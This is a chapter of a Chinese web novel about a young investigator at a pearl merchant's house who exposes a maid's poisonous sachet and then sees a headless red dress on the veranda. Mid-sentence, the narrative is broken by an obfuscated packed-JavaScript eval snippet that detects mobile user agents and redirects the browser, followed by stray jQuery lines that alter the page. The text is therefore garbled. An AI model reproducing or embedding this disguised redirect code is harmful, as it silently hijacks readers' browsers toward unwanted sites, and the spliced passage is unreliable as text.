19. 阴气

    “没试着抓过吗?”


    听着林若草的问题,李三爷脸上的苦楚更甚:“哪里没抓过,我自己带着家丁,何县令带着衙役都来抓过。”


    他两手一摊:“皆是空啊!”


    “不管是抓这放金子的,还是抓那拿绣帕发簪耳环的,都没抓到。”


    “何县令带着衙役曾在我这守了整整两个晚上,四小队轮着换岗,每个人都是精神抖索,偏偏快临到天亮的时候,毫无征兆的,都睡了过去。”


    “我自己抓也是如此啊!”


    林若草挑了挑眉:“毫无征兆?响动或者香味呢?都没有吗?”


    李三爷毫不犹豫地摇了摇头:“没有。”


    这案子有点意思了。


    “算算日子,今晚,那女鬼应该又要来了吧?”


    提起这个事李三爷的脸就苦了下来:“可不是嘛,真是愁人啊。”


    “不知今晚我可否叨扰一下。”


    李三爷楞了一下,似是有些为难。


    林若草的眼睛眯起了:“怎么,不方便吗?”


    他摇了摇头:“倒也谈不上不方便,只是……”


    他止住了话头:“我叫人去收拾屋子,只是林姑娘,我家夫人喜静,还请你尽量只在这一块行走,莫要前去其他地方了。”


    “尤其是我家夫人所在的东院。”


    -


    晚饭毕,厢房内,林若草将脖子上挂着的护身符取下打开,一颗圆润的珠子滚了出来。


    她拿起那颗珠子放在眼前细细端详。


    无论从大小色泽,甚至那奇特的光照变色的特质来看,这颗珠子都跟李三爷胡子上的那颗如出一辙。


    “林姑娘,快到时辰了,可以过去了。”


    屋外传来小厮的叫喊声。


    林若草应了一声,沉着脸,将珠子放了回去,站起身,看起来并无异样。


    但若细看的话,却能发现,她藏在衣摆里的手,在微微发抖。


    后院蚌池处,林若草独坐在被放干水的蚌珠池边,夜风吹过,亭侧的铃铛嗡嗡作响,吓得站在侧边角落里的丫鬟身形一抖,差点嘤咛出声。


    林若草侧眼看向躲在一旁瑟瑟发抖的丫鬟:“你若是怕,就先回去吧,我一个人可以。”


    丫鬟一下子跪了下来:“婢子不怕。”


    声音抖成那样,还说不怕。


    林若草了然,这是派人监视着她呢,她转过头去不再强求。


    又是一阵大风刮来,亭子里的红绳抖动地越发剧烈,小丫鬟瑟缩着抱紧自己,看起来好不可怜。


    林若草终究是软了心肠,开口分散些她的注意力:“这红绳是本来就有的吗?”


    丫鬟被她突然开口吓了一跳,但很快就被她这话带着回忆起来:“不是呢。”


    “是出事后老爷找了道士弄的,说是能驱鬼。”


    “道士?很灵吗?”


    丫鬟摇头:“婢子不知道,但听周管家说那道士就是小时候替老爷批命躲命劫的道士。”


    林若草坐直了身子:“命劫?什么命劫?”


    丫鬟却摇着头怎么都不肯说了,林若草只得转了话题:“那那道士来除了弄红绳还弄了什么吗?”


    丫鬟猛点头:“有的有的,他说这地方长年养珠,水多,阴气重,招鬼,让我们把水都舀干了放在锅里用火烧干了,寓意排阴。”


    “这池子中的珠子他也不让动,说要让这珠子经太阳暴晒七七四十九天才能彻底断除珠子上的阴气。”


    “我们老爷说了,这珠子金贵,若是不经水润着还要被太阳暴晒,只怕四十九天后,一池珠子无一可用了。”


    她脸上浮现一抹可惜。


    林若草听到这话呲笑了一声:“这样好的珠子,因为一句莫须有的阴气被毁了,还真是可惜。”


    “不是莫须有的!”


    丫鬟十分大声又坚定地反驳道:“这珠子就是有阴气。”


    她说着看了看四周似乎在忌讳什么,见四周确实无人后,她悄悄凑到林若草身边:


    “夫人房中的三等女使晴暖在舀水的时候不小心被这珠子割伤了手,回去的当晚就发了癔症,疯了,现在还被关在东院的柴房里呢。”


    “我听送饭的嬷嬷说,她去送饭的时候悄悄看了一眼。”


    “晴暖现在瘦的浑身就剩个骨头架子了,眼睛挂在眼眶里,嘴里疯疯癫癫地念叨着什么,吓死人了。”


    “林姑娘,你可要当心啊。”


    林若草看着丫鬟凝重的脸,笑了:“当心什么?”


    她一边说,一边站了起来,她脸上换了副表情,一脚踩进了珠池里。


    珍珠层层堆叠于她脚畔,随着她每一个细微动作,仿若灵动的水流蜿蜒淌动。


    澄澈月光倾洒而下,为颗颗珍珠镀上熠熠华芒,粼粼白光交相辉映,仿若一片璀璨星河,但又仿佛是累累白骨。


    林若草就站在这白骨中间冲着丫鬟伸出手:“来。”


    丫鬟瞬间变了脸色,她紧张的咽着口水,转身就想跑,却被衣摆绊住,摔倒在地。


    一只冰凉的手摸上了她的脚踝:“来呀,下来陪我啊。”


    一股大力从身后传来,她被拖拽着向下坠落。


    “不要!不要!救命啊!”


    丫鬟被吓得哭嚎出声,身体在彻底坠落池中时被一双手掐住了腰,耳边传来一声轻笑。


    “林姑娘,你可要当心啊。”


    林若草皱着眉学着丫鬟刚刚的表情,乌黑的长发在月光下闪着妖冶的光。


    “不觉得表情太假了些吗?”


    她那双泛灰的眸子此刻在珍珠的照耀下越发的清透,有种话本里能与神明对话的巫女感。


    丫鬟被吓得完全怔住,任由林若草从自己腰间扯下了香囊。


    “马绊肠,又称疯牛草,有毒,尤其根部毒性最强,误食会使人精神恍惚,变得焦躁易怒直到演变成难以抑制的狂躁。”


    “由于这种草香味极淡,常人无法察觉,所以大多数人都觉得它没有香味。”


    “但其实它不仅有香,香味也有毒,虽不及食用那么明显,但也会让人在一定时间里感觉恍惚,甚至会混淆记忆,麻痹感知。”


    她每吐出一句话,丫鬟的身体就瑟缩一下。


    “你说,你一个丫鬟,随身佩戴这么毒的香囊做什么?”


    林若草松开了桎梏住丫鬟的手,她施施然上了岸,坐回了椅子上,看着那个丫鬟跌坐在地。


    “还不开口说吗?难道是让我带


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15243399|164962||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    你去见官吗!”


    重重一掌拍在凳子上,丫鬟被吓得一个哆嗦趴跪在地:“姑娘恕罪姑娘恕罪啊!”


    “婢子也不知这东西这么毒啊,婢子也是受人指使的啊!”


    “都怪婢子贪财,收了那老道士的钱,那道士听说有外人来,怕有人耽误他赚钱,就给了婢子这个和五两银子,让婢子把鬼神之说坐得牢固些,婢子一时财迷心窍糊涂了,婢子以后再也不敢了!姑娘饶过婢子一次吧!”


    意料之中的答案,林若草揉了揉自己的太阳穴。


    不知为何今晚上她的头莫名的痛,像是有什么东西在里面撞来撞去一般,弄得她格外没耐心。


    可能是那颗珍珠害的吧,每每遇到兄嫂的事情自己总是无法淡定。


    她这般想着,加重了揉捏的力度:“那晴暖呢?也是你干的?”


    丫鬟连忙摇头:“不是不是,晴暖的事真不是婢子干的,婢子那时候还不认识那道士呢。”


    “是晴暖出了事后,老爷才请了道士来。”


    林若草挑了挑眉不予置否,她摆摆手想让那丫鬟起来,却见那丫鬟突然瞪大了双眼,眼眸中满是惊惶之色,仿若看到了世间最可怖之物。


    她的神情极度惊恐,死死地盯着她身后。


    “女鬼!”


    “真的是女鬼!”


    她惊呼一声,两眼一翻晕死了过去。


    林若草急忙转头,只见身后原本空空如也的回廊之上出现了一条红色的绣花裙。


    那裙子在风中摆动,勾勒出的形状,竟似有个无形之人静静伫立其中一般。


    然而,本该是头颅与双足的位置,却空空如也,唯有那裙摆自顾自地翻卷摇曳。


    林若草握紧了袖中的刀,她站起身高喝一声:“何人在此装神弄鬼。”


    无人回应,回答她的只有风声。


    鬼哭狼嚎一般的风声。


    风声呼啸,那亭中悬挂的铜铃在狂风的肆虐下疯狂晃动,彼此撞击,发出阵阵森然脆响,宛如冤魂的幽泣。


    林若草摸了摸胳膊上起的鸡皮疙瘩,她强忍着脑中传来的巨痛,深吸一口气,朝着绣花裙走去。


    一步,一步,一步。


    她每走一步,铃铛就晃的越厉害,发出的声音也越发的凄厉。


    直到她离绣花裙只有一步之遥时,毫无征兆的,一道刺目的白光在她眼前炸裂开来,她的双腿一软,整个人不受控制地向前,栽倒在地。


    直冲鼻腔的血腥味传来。


    林若草睁开眼,触目却是一片漆黑,她试探的伸出手抚摸着四周,像是在柜子里。


    刺啦!


    一声尖锐的利器刮过石头的声音响起。


    柜子被撞开一个小缝,透出一点光亮来。


    林若草顺着那光亮朝外看去,白茫茫的一片,亮有些刺眼,她下意识伸出手遮拦。


    透过指缝那白光渐渐消散,一个女人的身形出现在她眼中。


    那女人趴在地上,全身是血,背上被一把弯刀贯穿胸口。


    她艰难地朝着林若草所在的方向爬着,嘴巴一张一张的似乎在说些什么。


    林若草一张脸挤在缝隙里试图辨认,但那女人的脸却一直都是白茫茫的一片,叫人看不真切。